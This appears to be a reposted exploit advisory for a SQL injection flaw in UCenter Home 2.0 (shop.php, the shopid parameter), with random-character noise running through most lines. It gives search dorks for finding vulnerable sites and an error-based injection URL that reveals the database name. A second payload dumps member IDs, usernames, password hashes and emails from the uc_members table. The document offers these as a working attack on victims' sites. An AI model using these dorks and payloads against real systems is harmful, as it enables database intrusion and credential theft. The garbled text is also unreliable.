5 V4 K/ N i3 U# V v__--==UCenter Home 2.0 -(0day) Remote SQL Injection Vulnerability==--__ / U$ d0 a2 o- L. y
7 K {5 ^& e* }) G
! m7 V. m& B, H* |0 M
6 J) z0 V3 H w0 Y! s6 f*/ Author : KnocKout
' Z7 [4 e2 r3 H- t% S$ Y& v( b+ @% D3 R: A' @: J
*/ Greatz : DaiMon,BARCOD3,RiskY and iranian hackers
3 d4 e1 H$ n5 T, R# z" [0 E x0 z" B2 x5 A3 L) X) t5 k
*/ Contact: knockoutr@msn.com 9 H/ v+ J' X+ t$ D: |$ H U; J6 Y4 [
! {8 _6 e1 u' d3 w4 ]
*/ Cyber-Warrior.org/CWKnocKout 8 e, f) W \9 v7 D2 E- |
7 P( r+ D+ P# f! x4 J__--==__--==__--==__--==__--==__--==__--==__--==__--==__--== ! \; v5 e& ?7 o. r$ x
/ y1 X4 C; f, j! A9 [% pScript : UCenter Home
, w/ J6 V' C3 q
' I0 _" d1 n. K: Y- b9 a) w, T$ V: AVersion : 2.0
; x: G- L: B$ c. a8 _ `
g" C- R7 w0 xScript HomePage : http://u.discuz.net/
7 x5 ^! a8 U- N8 s5 n2 K7 p) E+ h1 t) v8 `3 c+ e
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
; O' N( w+ u. b* s9 S. r* U) @: w7 }; G1 r
Dork : Powered by UCenter inurl:shop.php?ac=view % \" W) i% c% r" }" ]4 w
$ T5 ?! P, _) P# VDork 2 : inurl:shop.php?ac=view&shopid= : m. o6 K4 e) x# B- S$ j
6 e7 M+ H; j+ ~- f- S) l) q6 G
__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
4 A/ S( ]6 \6 x6 U7 M+ N
- g' B+ m0 w- F+ M: m+ Y, ]Vuln file : Shop.php
) ]% K, L0 ]; Y+ F. D1 G
y4 G S8 i5 U# S; Jvalue's : (?)ac=view&shopid=
- Q- H1 |: V8 Y3 j; I) z7 }% m2 B5 y* e5 F9 r' m& d$ F
Vulnerable Style : SQL Injection (MySQL Error Based) 3 W* n( x0 N) `9 K( Y
5 D6 e. Z0 Y+ tNeed Metarials : Hex Conversion " t# E$ |( }" j' H5 U) W+ B
: C9 _' r- k! n4 o$ X__--==__--==__--==__--==__--==__--==__--==__--==__--==__--==
2 P+ E; ^ Z \/ h, x2 F
: G; H7 m9 y% D7 _ V# `Your Need victim Database name. ) X' J5 c" M2 f* I
6 a4 x& Z2 P* U
for Inject : http://server/shop.php?ac=view&shopid=253 and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,unhex(hex(database())),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
; b3 W$ T& @& ~6 y" r. ~( J5 o- f9 z5 @1 Z6 K- p: ~/ o' G5 L
..
# m7 h' G' w' H( {- X" J) N H4 X) p0 O( N0 G0 K: {4 C" X- k
DB : Okey. ; Y- I- b; i: R3 _
' T+ L! d" G3 _ \% D! U/ l2 |$ h$ e
your edit DB `[TARGET DB NAME]` & c8 N9 u2 h8 r$ h D) T; V6 r
8 k7 `' y; D: u$ b" }# S
Example : 'hiwir1_ucenter' , A/ c" _% ^* ~6 b) u
& `+ i3 n6 L, f' Q
Edit : Okey.
8 N0 T% @- T' n( P8 i4 ]. u1 j* e+ [! x) u! P
Your use Hex conversion. And edit Your SQL Injection Exploit.. / X8 z9 T8 j% `" \
& w5 w4 C# Z( Q# l } O( d0 N8 _: w1 w: ^/ ~" |. `
: r i6 d7 H, P, _6 Q6 g# lExploit Code : http://server/shop.php?ac=view&shopid=253 253 and(select 1 from(select count(*),concat((select (select (SELECT concat(0x7e,0x27,cast(concat(uc_members.uid,0x3a,uc_members.username,0x3a,uc_members.password,0x3a,uc_members.email) as char),0x27,0x7e) FROM `hiwir1_ucenter`.uc_members LIMIT 0,1) ) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1
: N& j* w. e2 H7 r$ Z8 X |
发表于 2013-2-27 21:31:31
收藏
支持
反对